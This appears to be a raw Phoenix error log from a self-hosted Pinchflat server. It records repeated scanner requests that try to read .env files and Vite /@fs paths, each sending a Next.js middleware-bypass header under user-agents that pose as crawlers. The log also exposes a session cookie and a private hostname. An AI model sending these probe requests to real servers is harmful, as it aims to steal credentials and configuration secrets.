"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29724.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.2 (truncated) 16:49:08.270 [info] GET /.env.local 16:49:08.270 [debug] QUERY OK source="settings" db=0.0ms idle=119.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.270 [debug] QUERY OK source="settings" db=0.0ms idle=46.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.270 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.271 [error] #PID<0.29727.0> running PinchflatWeb.Endpoint (connection #PID<0.29726.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local?.svg?.wasm?init ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: ".svg?.wasm?init", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29727.0>, params: %{".svg?.wasm?init" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{".svg?.wasm?init" => ""}, query_string: ".svg?.wasm?init", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61d90Q9wHlrYABwOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: ".svg?.wasm?init", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29726.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: ".svg?.wasm?init (truncated) 16:49:08.275 [info] GET /@fs/root/.env 16:49:08.275 [debug] QUERY OK source="settings" db=0.0ms idle=50.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.275 [debug] QUERY OK source="settings" db=0.0ms idle=28.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.275 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.276 [info] GET /@fs/.env 16:49:08.276 [debug] QUERY OK source="settings" db=0.0ms idle=29.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.276 [debug] QUERY OK source="settings" db=0.0ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.276 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.275 [error] #PID<0.29729.0> running PinchflatWeb.Endpoint (connection #PID<0.29728.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/root/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/root/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29728.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/root/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34174}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29729.0>, params: %{"raw??" => ""}, path_info: ["@fs", "root", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/root/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61d-8q4t6b5YABwPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29728.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/root/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34174}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/root/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29728.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/root/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34174}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: (truncated) 16:49:08.276 [error] #PID<0.29731.0> running PinchflatWeb.Endpoint (connection #PID<0.29730.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/.env?raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29730.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29731.0>, params: %{"raw??" => ""}, path_info: ["@fs", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw??" => ""}, query_string: "raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61d_NKQ63BKEABwPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29730.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29730.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw??", streamid: 1, has_body: false, host_ (truncated) 16:49:08.282 [info] GET /.env 16:49:08.282 [debug] QUERY OK source="settings" db=0.0ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.282 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.282 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.283 [error] #PID<0.29733.0> running PinchflatWeb.Endpoint (connection #PID<0.29732.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env?.svg?.wasm?init ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29732.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34190}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: ".svg?.wasm?init", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29733.0>, params: 